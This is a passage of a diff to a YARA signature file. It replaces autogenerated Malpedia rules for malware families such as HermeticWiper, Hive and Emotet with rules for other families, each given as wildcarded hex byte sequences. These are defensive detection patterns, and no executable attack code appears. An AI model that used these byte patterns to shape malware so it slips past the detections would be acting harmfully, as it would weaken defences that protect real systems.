= { 83e803 bf???????? 80240100 83c9ff 33c0 f2ae f7d1 } + $sequence_9 = { 8b048e 8d1c9510114000 8b17 2bc2 99 } condition: - 7 of them and filesize < 2415616 + 7 of them and filesize < 32768 } -rule MALPEDIA_Win_Pngdowner_Auto : FILE +rule MALPEDIA_Win_Wscspl_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e2dbfe40-d617-5d1b-bbce-59a19338c6f8" + id = "7d78cbcb-c636-58e3-9d8d-70bd821838ca" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pngdowner" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pngdowner_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wscspl" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wscspl_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "c7a4cf22317ae6eb6a1b63ad8076fbfd6db12b13640e6a0471f645fcbb28ed9a" + logic_hash = "a06a73900ca2c0d42b899a919a39813227fe95be2c044a4b97a03a121cdc8aa6" score = 75 quality = 75 tags = "FILE" @@ -136859,32 +136534,32 @@ rule MALPEDIA_Win_Pngdowner_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c410 85c0 0f856d010000 8d842418020000 8d8c2498010000 50 } - $sequence_1 = { b910270000 f7f9 52 68???????? 8d942424010000 } - $sequence_2 = { 83f85a 7714 8088????????10 8ac8 80c120 888800e44000 } - $sequence_3 = { b910270000 f7f9 52 68???????? } - $sequence_4 = { 83c8ff eb1f 8bce 83e61f c1f905 8bc6 8b0c8d40e64000 } - $sequence_5 = { 99 b910270000 f7f9 8d84241c010000 } - $sequence_6 = { e8???????? 85ff 0f85cf000000 53 8b5c2428 55 } - $sequence_7 = { 8d7c2420 8d542420 f3ab 8d4c2414 51 6800000100 } - $sequence_8 = { 50 89542414 c644240d73 ff15???????? 85c0 7430 68???????? } - $sequence_9 = { 0f84e9000000 8b7508 8b7d0c 8d0520e34000 } + $sequence_0 = { 0f8464020000 8b3d???????? f644243810 8a442464 0f8481000000 3c2e } + $sequence_1 = { 885c342c ffd5 a3???????? a3???????? b8???????? } + $sequence_2 = { 33d2 33c9 8d5c2418 e8???????? 8b8c2494230000 83c414 5b } + $sequence_3 = { c705????????01000000 e8???????? 891d???????? eb25 } + $sequence_4 = { 51 50 ff15???????? 2935???????? 83c40c } + $sequence_5 = { 5f 8935???????? 5e 5d 8b8c2488230000 } + $sequence_6 = { 6a01 50 ff15???????? 687c230000 68c10b0000 } + $sequence_7 = { 8d443410 68???????? 50 e8???????? 668b0d???????? } + $sequence_8 = { 68ba0b0000 33d2 33c9 8d9c24a4050000 } + $sequence_9 = { 2bc1 8b4c2448 03f0 8b442444 ba3f3a0000 } condition: - 7 of them and filesize < 131072 + 7 of them and filesize < 901120 } -rule MALPEDIA_Win_Hermeticwiper_Auto : FILE +rule MALPEDIA_Win_Nightclub_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "26ab54c0-79a4-58b9-ba8b-0324b07af9f4" + id = "25a4cb0b-5988-50b4-b9d7-c4130dae5827" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermeticwiper" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hermeticwiper_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nightclub" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nightclub_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "0d202d4a6b1fd92490b3e5fc04dc1683d573bc3458e17749b676604435662c74" + logic_hash = "15f8ebb368b37ab60005cfeccfb61f1f120d9d4f8ce48162386ff7677923e6da" score = 75 quality = 75 tags = "FILE" @@ -136898,34 +136573,34 @@ rule MALPEDIA_Win_Hermeticwiper_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83d1ff 894dbc 03ff 83cf01 ebe7 8b75d4 } - $sequence_1 = { 68???????? eb2f ff15???????? 3d7e040000 0f8522040000 837df800 } - $sequence_2 = { 0f86fe000000 8b55d0 8d4630 8945f8 6690 8b00 85c0 } - $sequence_3 = { 53 51 51 52 b980000000 e8???????? 8b4c2428 } - $sequence_4 = { 8845fb 84e4 0f856dfeffff 5f 5e 5b 8be5 } - $sequence_5 = { 8b4e10 8b7e08 03cf 8b560c 8b4614 13c2 89542418 } - $sequence_6 = { 83ee02 eb02 8bf3 397df0 7531 6a5c 6a00 } - $sequence_7 = { 8b401c 83c118 03c1 8b4c2414 89442424 3bf0 736e } - $sequence_8 = { 57 56 ff15???????? 85c0 752a ff15???????? 33ff } - $sequence_9 = { 5e b801000000 5b 8be5 5d c20c00 8b7510 } + $sequence_0 = { 50 8d45f4 64a300000000 8b4508 8d75d4 c745ec00000000 e8???????? } + $sequence_1 = { 889d5ffeffff ff15???????? 8d855efeffff c645fc05 50 } + $sequence_2 = { c645fc0c ff15???????? 85c0 0f8827010000 8b0d???????? 8b11 52 } + $sequence_3 = { 83c404 85c9 7517 33c0 8b450c 8d0442 5f } + $sequence_4 = { 8bff 8d45d4 8bcf e8???????? 50 c745fc01000000 8b4e08 } + $sequence_5 = { ff15???????? 83c610 3bf7 75f1 8b4304 50 ff15???????? } + $sequence_6 = { 83f806 7753 0fb69058720010 ff249550720010 ba???????? 8bc7 8d742430 } + $sequence_7 = { eb03 8945fc a1???????? 8b08 51 6a00 8d4e74 } + $sequence_8 = { 834dec01 85c0 7505 a1???????? 8bf0 8d4900 } + $sequence_9 = { 72e6 b892010000 5f 5e 8b4df8 33cd e8???????? } condition: 7 of them and filesize < 247808 } -rule MALPEDIA_Win_Hive_Auto : FILE +rule MALPEDIA_Win_Cloudeye_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "afed1177-c874-5c40-8ff0-eb8fbf356303" + id = "44608db0-2b3b-55a4-82c4-1c5317afcfea" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hive" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hive_auto.yar#L1-L195" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cloudeye_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "2741699b9ca4dafd7c3cf41d98fd9bcda89c6f9e810164b470706ce97b3270bd" + logic_hash = "54d2e3ccac7509c285f63d14127016b59266a9af9b4d7112de2a7058fc6a0ca1" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -136937,44 +136612,32 @@ rule MALPEDIA_Win_Hive_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 31c0 b91d000000 31d2 31db } - $sequence_1 = { 31c9 eb12 0fb6540c12 0fb63408 } - $sequence_2 = { 89c2 e8???????? b801000000 e8???????? } - $sequence_3 = { 31c9 31d2 31db 31f6 31ff eb09 } - $sequence_4 = { 31c0 31c9 31d2 bb01000000 beae000000 } - $sequence_5 = { 89d1 e8???????? b802000000 e8???????? } - $sequence_6 = { 81c4b0000000 c3 e8???????? 90 } - $sequence_7 = { 0fb6b40495000000 89d7 31f2 01c2 } - $sequence_8 = { 89d1 e8???????? b901000000 e8???????? } - $sequence_9 = { 0fb7442404 8b0c24 894c246a 668944246e 8b4c246a } - $sequence_10 = { 0fb7744c12 89d7 31f2 01ca } - $sequence_11 = { 31c9 31d2 bb04000000 beb8000000 } - $sequence_12 = { 01c1 83c101 83f90c 0f820fffffff } - $sequence_13 = { 89bc2478020000 81c438020000 c3 97 88442443 97 892c24 } - $sequence_14 = { 01c8 89c1 c1e91f ffc9 } - $sequence_15 = { 89bc2480000000 89b424c4000000 29ce 46 } - $sequence_16 = { 01c1 c1e106 0fb6c2 01c8 } - $sequence_17 = { 01c2 b8ffffff03 21c5 21c3 } - $sequence_18 = { 01c8 c1e006 400fb6cf 01c1 } - $sequence_19 = { 01c1 c1e106 400fb6d6 01ca } - $sequence_20 = { 01ca c1e206 0fb6c3 01d0 } - $sequence_21 = { 01c0 4000f8 0fb6c0 48898424b0000000 } + $sequence_0 = { 64ff35c0000000 8f4548 c3 60 b055 } + $sequence_1 = { c70010000100 80fc8b ffb700500000 39c9 6afe ff5528 } + $sequence_2 = { 85da 8b4d18 bafee5190e e8???????? } + $sequence_3 = { 7570 206b65 7900 e8???????? 53 } + $sequence_4 = { ff50e0 6639d1 61 b8ffffffff } + $sequence_5 = { 83f800 0f8598000000 6685c1 8b4d20 81c100410000 c70107000100 51 } + $sequence_6 = { 81c29c000000 52 6a07 6aff 38ed 50 e8???????? } + $sequence_7 = { 5b 6685da 31c0 83c004 } + $sequence_8 = { 8bb714080000 38ef 8b8700080000 01f0 01c8 } + $sequence_9 = { 85db 837d7401 750a e8???????? 83f801 7405 } condition: - 7 of them and filesize < 7946240 + 7 of them and filesize < 90112 } -rule MALPEDIA_Win_Chches_Auto : FILE +rule MALPEDIA_Win_Fakeword_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ef78cd53-b90a-5608-a384-2a896eb61dd5" + id = "83704e50-1dbd-5c9a-b83f-e831a9bf7880" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chches" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chches_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fakeword" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fakeword_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "b0a1cb7e042feb67b6afb2859125bb6309d891a3da8da2205204e42953893b2e" + logic_hash = "109b39226f4f475b4c3e023db9ba2c26fa6ab8a72ccbfd12335d1989ed05d36a" score = 75 quality = 75 tags = "FILE" @@ -136988,77 +136651,71 @@ rule MALPEDIA_Win_Chches_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8b4c243c 8903 8b4534 83c408 85c0 } - $sequence_1 = { ffd2 3dfe1f0000 7608 83eb64 e9???????? 8b7c2454 } - $sequence_2 = { 03c1 50 57 e8???????? 8b96d8000000 83c408 6860ea0000 } - $sequence_3 = { c7460800000000 8b4744 56 6a00 ffd0 8b4f50 50 } - $sequence_4 = { 897c2424 897c2430 3bc7 0f856c020000 8b5d0c 3bdf 0f8404030000 } - $sequence_5 = { 0f84aa010000 8b4660 8bd1 52 ffd0 8b5644 8bd8 } - $sequence_6 = { 8d791c 81c61d051101 85ff 746e 85db 744d 8b550c } - $sequence_7 = { 50 8b4364 ffd0 8b4df8 8b938c000000 6a00 6a00 } - $sequence_8 = { 33d2 6689140f 8b7c2410 eb1e 85c0 751a 8b03 } - $sequence_9 = { ffd2 50 8b4650 ffd0 8b4dfc 51 8d7df8 } + $sequence_0 = { 750d 381c08 7408 8bd1 8915???????? 8a0408 3ac3 } + $sequence_1 = { 89442418 33c0 8a07 50 } + $sequence_2 = { 03ce 0fbe540cd8 52 68???????? 50 ff15???????? 83c40c } + $sequence_3 = { 41 81f900010000 89448afc 7cd4 } + $sequence_4 = { 83e210 f3ab 80fa10 c684246c02000007 743d 8d442458 } + $sequence_5 = { 83f804 7519 56 6a07 8d442418 } + $sequence_6 = { 3a5418ff 750b 83f801 7459 3a5418fe 7453 40 } + $sequence_7 = { 8b6c2420 8b4c2430 8b5c2434 41 83c304 83f908 894c2430 } + $sequence_8 = { c3 8b4c241c 56 51 e8???????? 8b442414 } + $sequence_9 = { 85ff 7446 8b7010 8b042f 03fd 03f5 } condition: - 7 of them and filesize < 122880 + 7 of them and filesize < 98304 } -rule MALPEDIA_Win_Misfox_Auto : FILE +rule MALPEDIA_Win_Unidentified_101_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7c26cb13-6097-513e-b029-4599c7648809" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.misfox" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.misfox_auto.yar#L1-L165" + id = "1e5a977c-e7e9-5732-97b6-6aadc4f691fc" + date = "2023-03-28" + modified = "2023-04-07" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_101" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_101_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "d0174e7f68a85bf1ff57434ec100f8da7228de9ad77dd40f610066f3391b57bd" + logic_hash = "71f0751fbd77a928634515b558d06922b4bf4a312042d6abbd6ba70171c64843" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" + malpedia_rule_date = "20230328" + malpedia_hash = "9d2d75cef573c1c2d861f5197df8f563b05a305d" + malpedia_version = "20230407" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d85f4ebffff 50 8b8528e5ffff 8b048550870110 } - $sequence_1 = { 8a0a 42 884dab 83f80b 0f877b020000 ff2485b4d30010 } - $sequence_2 = { 8947fc 894c9308 81fe00010000 7ccc } - $sequence_3 = { 85f6 75e8 8b5c2410 68???????? 8d8424e8000000 6a20 } - $sequence_4 = { 0f85a0000000 8b4c240c 8d542418 50 50 50 } - $sequence_5 = { 8b06 6a25 40 50 8d45d0 50 } - $sequence_6 = { 8d8c24a4000000 c784245003000000000000 e8???????? 8d4c246c } - $sequence_7 = { 8b4708 8d5704 8902 8b45b8 52 c70300000000 40 } - $sequence_8 = { ff15???????? 483305???????? 488d15cabc0000 488bcb } - $sequence_9 = { 442bc8 b8b1f98cb3 41f7e9 b8b1f98cb3 458d0411 41c1f80a } - $sequence_10 = { 4c897c2438 8b442440 89442430 4c897c2428 4c897c2420 4533c9 } - $sequence_11 = { 4889442450 e8???????? 488d053cf90000 488d15b56c0100 } - $sequence_12 = { 7526 4c8d3505500100 493bde 7408 } - $sequence_13 = { 803c3000 75f7 4c8bc6 488d542438 498bce e8???????? 498bc6 } - $sequence_14 = { 0f114580 f20f100d???????? f20f114d90 8b05???????? 894598 } - $sequence_15 = { e9???????? 4c8d25af510100 8bee 41bf01000000 } + $sequence_0 = { c70016000000 e8???????? 83c8ff e9???????? 498bc4 488d0ddb070100 83e03f } + $sequence_1 = { 6689842404010000 b865000000 6689842406010000 33c0 6689842408010000 } + $sequence_2 = { 33c0 b968000000 f3aa 488d842400010000 4889442448 488d842430020000 4889442440 } + $sequence_3 = { 4889742410 57 4883ec20 418bf0 4c8d0debb40000 8bda 4c8d05dab40000 } + $sequence_4 = { c744243000000000 4c8d4c2430 4c8b442440 8b542468 488b4c2460 } + $sequence_5 = { c68424e900000065 c68424ea00000057 c68424eb00000000 c644243052 c644243165 c644243261 c644243364 } + $sequence_6 = { 428a8c1910e40100 4c2bc0 418b40fc 4d894108 d3e8 41894120 } + $sequence_7 = { 48c744242000000000 4c8d8c24c8000000 448b442450 488b542458 488b4c2470 ff15???????? } + $sequence_8 = { 41b804010000 488d942400030000 33c9 ff15???????? c744245801000000 e8???????? 833d????????01 } + $sequence_9 = { 7528 48833d????????00 741e 488d0dd8450100 e8???????? 85c0 740e } condition: - 7 of them and filesize < 266240 + 7 of them and filesize < 402432 } -rule MALPEDIA_Win_Diavol_Auto : FILE +rule MALPEDIA_Win_Statc_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "bc879f2f-8309-5494-be6c-2895dcf861fb" + id = "808b480a-a4a8-5b96-a652-004f7a1eca10" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.diavol" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.diavol_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.statc" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.statc_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "46d9c76f218871fb04ea7d4fbbcd65e671198d70df944c765e3f433c4820310f" + logic_hash = "d41663c5e21054ad8e54e8097dd90a58bbd0b9def413c1922ece24784d1402b9" score = 75 quality = 75 tags = "FILE" @@ -137072,32 +136729,32 @@ rule MALPEDIA_Win_Diavol_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8be5 5d c3 8d85c8fbffff 50 56 c785c8fbffff2c020000 } - $sequence_1 = { 3bc3 72d8 8d8da0fdffff 68???????? 51 68???????? 8bd1 } - $sequence_2 = { 83f8ff 752c 6a02 53 ff15???????? 53 ff15???????? } - $sequence_3 = { 8d740004 56 e8???????? 83c404 56 8d95f8fdffff } - $sequence_4 = { 0f84d4000000 6800040000 8d95f8f9ffff 6a00 52 } - $sequence_5 = { 668b08 83c002 6685c9 75f5 8dbdf4efffff 2bc2 83c7fe } - $sequence_6 = { 56 ff15???????? 57 e8???????? a1???????? 8b4dd0 8d1448 } - $sequence_7 = { 8b8d38c2ffff 8d953cc2ffff 52 8d8540c2ffff 6a00 50 } - $sequence_8 = { 8be5 5d c3 8d8405c0fbffff } - $sequence_9 = { 8be5 5d c3 b902000000 6a50 } + $sequence_0 = { 85c0 7409 8984248c000000 ebc5 488d942488000000 488bcf e8???????? } + $sequence_1 = { c6040129 e9???????? 4d8b4010 488d15c9dd2700 488d4def 4d8b00 e8???????? } + $sequence_2 = { 7f1d 8b8424e0000000 448bca ba69000000 89442420 488bcb e8???????? } + $sequence_3 = { b807000000 8bc8 894344 488bcb 8bd0 e8???????? e9???????? } + $sequence_4 = { e9???????? 488d8ab8010000 e9???????? 488d8ad0000000 e9???????? 488d8a90000000 e9???????? } + $sequence_5 = { c645d01c c745d401000000 488975e0 48894598 488d4d90 488b4580 4533e4 } + $sequence_6 = { e8???????? 488bcf e8???????? 48c70300000000 4d85ed 7409 498bcd } + $sequence_7 = { 48f7e2 488bf2 48c1ee04 48ffc6 0fbe43f1 84c0 740d } + $sequence_8 = { e8???????? 8bf8 896c2450 3b44243c 7413 488d15da212800 488bce } + $sequence_9 = { ff15???????? 488b4b18 33c0 48898318020000 48898320020000 898328020000 898378020000 } condition: - 7 of them and filesize < 191488 + 7 of them and filesize < 6429696 } -rule MALPEDIA_Win_Simda_Auto : FILE +rule MALPEDIA_Win_Pandora_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "27bb9bc3-3123-59db-b496-71430a74b58c" + id = "03d00108-515b-5000-bfce-e0864b2e89ce" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.simda" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.simda_auto.yar#L1-L114" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandora" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pandora_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "e9f68a5c932750dc8dc15c371abf1fcbed20271ad653ffccba6ba46621ea82a8" + logic_hash = "a88747b8869f7f515751ff70f3553c380e5110ab9369144ac753a62c000a1cae" score = 75 quality = 75 tags = "FILE" @@ -137111,32 +136768,32 @@ rule MALPEDIA_Win_Simda_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8955ec 897de0 3bce 0f8278feffff 5b } - $sequence_1 = { 83c424 33c0 668945d0 8845fe } - $sequence_2 = { 8b85e8feffff 85c0 7505 8d41ff eb0f 83f801 } - $sequence_3 = { 33f6 68ff000000 8d85f1feffff 56 50 } - $sequence_4 = { 83ec24 53 56 57 50 6800040000 } - $sequence_5 = { 83c408 8945f0 85c0 7508 6a01 } - $sequence_6 = { 8bf8 0faf7dfc c1e210 0b55f8 3bfa } - $sequence_7 = { b910000000 be???????? 8d7db4 f3a5 66a5 } - $sequence_8 = { 8bd1 c1ea10 8955ec 8bf8 } - $sequence_9 = { 85c0 75dd 8b4d0c 8bc3 2bc2 } + $sequence_0 = { 41ffc7 83f81e 0f8f88030000 4885ff 7418 488d47ff 498d04c6 } + $sequence_1 = { 7424 838da400000010 448d4710 4c8b0d???????? 488d4c2430 33d2 41ffd1 } + $sequence_2 = { 48897c2418 4156 4883ec20 33ff 4533f6 4863df 488d0d88040300 } + $sequence_3 = { 415e c3 48895c2408 4889742410 57 4883ec20 4c8b5108 } + $sequence_4 = { 4c8d45b0 488d55c8 e8???????? 8bd8 85c0 7524 f7de } + $sequence_5 = { 8bcf 44335014 c1e918 0fb6d1 8bce } + $sequence_6 = { 498b06 4885c0 0f8432020000 8b4008 ffc8 83f806 0f8724020000 } + $sequence_7 = { 488b05???????? 33d2 498bcc ffd0 4c8b642460 4c8b742448 488b7c2440 } + $sequence_8 = { 0bc8 0fb64238 c1e108 0bc8 0fb6423e 440bd0 894c2440 } + $sequence_9 = { 4503d3 418bc6 23c6 41c1c60a 0bf8 4181c34efd53a9 81c7e9766d7a } condition: - 7 of them and filesize < 1581056 + 7 of them and filesize < 1032192 } -rule MALPEDIA_Win_Mbrlocker_Auto : FILE +rule MALPEDIA_Win_Aytoke_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6a472526-8a03-5ccc-a5eb-10b46b34c6da" + id = "c3996e13-6441-5e12-8e21-a4d953c38877" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlocker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mbrlocker_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aytoke" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.aytoke_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "2abe677d378843746aa6479444a4219927906b009fff2766ade4f081783dbae6" + logic_hash = "0f3d6db514704761aece6f3ecc8a4a906e89108d57be9f7f2ba95aab9464ffc7" score = 75 quality = 75 tags = "FILE" @@ -137150,34 +136807,34 @@ rule MALPEDIA_Win_Mbrlocker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 8b35???????? 8b3d???????? 6a10 68???????? } - $sequence_1 = { 68fe000000 68???????? ffd7 83c408 } - $sequence_2 = { 68ac000000 68???????? e8???????? 68ac000000 68???????? ffd7 83c408 } - $sequence_3 = { c705????????ba514000 c705????????00020000 68fe000000 68???????? ffd6 83c408 68ff000000 } - $sequence_4 = { 68ac000000 68???????? e8???????? e8???????? } - $sequence_5 = { 68ff000000 68ac000000 68???????? e8???????? e8???????? 68ff000000 68ac000000 } - $sequence_6 = { ac 30c8 aa 4a 75f9 61 c9 } - $sequence_7 = { 68fe000000 68???????? e8???????? 68fe000000 } - $sequence_8 = { 68fe000000 68???????? e8???????? e8???????? 68ff000000 68fe000000 } - $sequence_9 = { 31c8 e8???????? 68ac000000 68???????? } + $sequence_0 = { 8b450c 8b4d10 56 57 8b7d08 8d95dcfbffff } + $sequence_1 = { a1???????? 8b0d???????? 8b15???????? 8985a8f9ffff } + $sequence_2 = { ffd2 8b8594f9ffff 50 ff15???????? } + $sequence_3 = { 4d 4d 0b0c0d0e0f1011 1213 1415 } + $sequence_4 = { 7407 c6854feeffff01 6a14 ff15???????? 6890000000 ffd3 } + $sequence_5 = { 83c414 8d45c8 48 8a4801 40 } + $sequence_6 = { 881438 46 47 ebd7 8b8dd8fbffff } + $sequence_7 = { 8d55ec 52 b902000000 56 8945f0 66894dec ff15???????? } + $sequence_8 = { 4d 4d 0b0c0d0e0f1011 1213 1415 16 17 } + $sequence_9 = { 8bc6 c1f805 8b048500c44100 83e61f c1e606 8d443004 } condition: - 7 of them and filesize < 43008 + 7 of them and filesize < 425984 } -rule MALPEDIA_Win_Emotet_Auto : FILE +rule MALPEDIA_Win_Gaudox_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "590db82a-e64b-59fe-a363-cd344fccdc7b" + id = "e48a9725-6218-5ef6-9a1a-6786debab3b4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.emotet_auto.yar#L1-L618" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gaudox" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gaudox_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "9ea1f202fdf175311dcb11b7b6f7efdcd86b6e87b055de16a61627e022c993b1" + logic_hash = "cc9ffbe1e9e9b635f7f04ba1adabaa59f1b5b2df83ed09fa49e4be99cd0578aa" score = 75 - quality = 50 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -137189,99 +136846,34 @@ rule MALPEDIA_Win_Emotet_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 3c41 7c04 3c5a 7e03 c60158 } - $sequence_1 = { 3c61 7c04 3c7a 7e0b 3c41 } - $sequence_2 = { 8a01 3c30 7c04 3c39 7e13 3c61 } - $sequence_3 = { 7e03 c60158 41 803900 } - $sequence_4 = { 3903 5f 5e 0f95c0 5b 8be5 } - $sequence_5 = { 83c020 eb03 0fb7c0 69d23f000100 } - $sequence_6 = { 880a 8bc1 c1e808 8d5204 } - $sequence_7 = { c1e910 8842fd 884afe c1e908 } - $sequence_8 = { 75f2 eb06 33c9 66894802 } - $sequence_9 = { c1e808 8d5204 c1e910 8842fd } - $sequence_10 = { 8d5801 f6c30f 7406 83e3f0 } - $sequence_11 = { 8b16 8945fc 8d45f8 6a04 } - $sequence_12 = { 0faf4510 50 6a08 ff15???????? } - $sequence_13 = { 8901 8b477c 85c0 7448 } - $sequence_14 = { 8b4508 894dcc 8d4dc8 8945c8 8975d4 } - $sequence_15 = { 7448 8b00 2b878c000000 56 } - $sequence_16 = { 894630 8b45f8 01460c 294610 } - $sequence_17 = { 50 8d45f8 81ca00000020 50 52 } - $sequence_18 = { 48894808 48895010 4c894018 4c894820 c3 } - $sequence_19 = { 488bd3 488bcf 488b5c2460 4883c450 } - $sequence_20 = { 0fb7c1 c1e910 66c1e808 4d8d4004 } - $sequence_21 = { 418bd0 d3e2 418bcb d3e0 03d0 } - $sequence_22 = { d3e7 83f841 7208 83f85a } - $sequence_23 = { 4803c8 eb08 803900 7408 } - $sequence_24 = { 2bca d1e9 03ca c1e906 894d18 } - $sequence_25 = { 4d8d4004 418840fd 418848fe 66c1e908 418848ff 4d3bd9 72cf } - $sequence_26 = { 483bd8 730b 488bcb e8???????? } - $sequence_27 = { c1e807 41 83f87f 77f7 } - $sequence_28 = { f7e1 b84fecc44e 2bca d1e9 } - $sequence_29 = { 84c0 75f2 eb03 c60100 } - $sequence_30 = { 8bd3 8b0f e8???????? 85c0 } - $sequence_31 = { 83c104 894e04 8b00 85c0 } - $sequence_32 = { 7907 83c107 3bf7 72e8 } - $sequence_33 = { 0fb6c0 668942fa c1e910 0fb6c1 } - $sequence_34 = { 56 57 6a1e 8d45e0 } - $sequence_35 = { 52 52 52 52 68???????? 52 } - $sequence_36 = { 83ec48 53 56 57 6a44 } - $sequence_37 = { 83f87f 760d 8d642400 c1e807 } - $sequence_38 = { 83f87f 7609 c1e807 41 } - $sequence_39 = { 50 6a00 6a01 6a00 ff15???????? a3???????? } - $sequence_40 = { 6a00 6aff 50 51 ff15???????? } - $sequence_41 = { 50 6a00 ff75fc 6800040000 } - $sequence_42 = { 50 56 6800800000 6a6a } - $sequence_43 = { 53 56 8bf1 bb00c34c84 } - $sequence_44 = { 83ec08 56 68400000f0 6a18 33f6 56 56 } - $sequence_45 = { ff75fc 6800040000 6a00 6a00 6a00 } - $sequence_46 = { 8bec 83ec08 56 57 8bf1 33ff } - $sequence_47 = { 83ec10 53 6a00 8d45fc } - $sequence_48 = { 8bf1 bb00c34c84 57 33ff } - $sequence_49 = { 8b7d08 83fe00 8945f0 894dec 8955e8 8975e4 } - $sequence_50 = { 6a03 6a00 6a00 ff7508 53 50 } - $sequence_51 = { 56 57 00b807000000 008b45fc33d2 00b871800780 00558b ec } - $sequence_52 = { 8b55f4 01ca 89d6 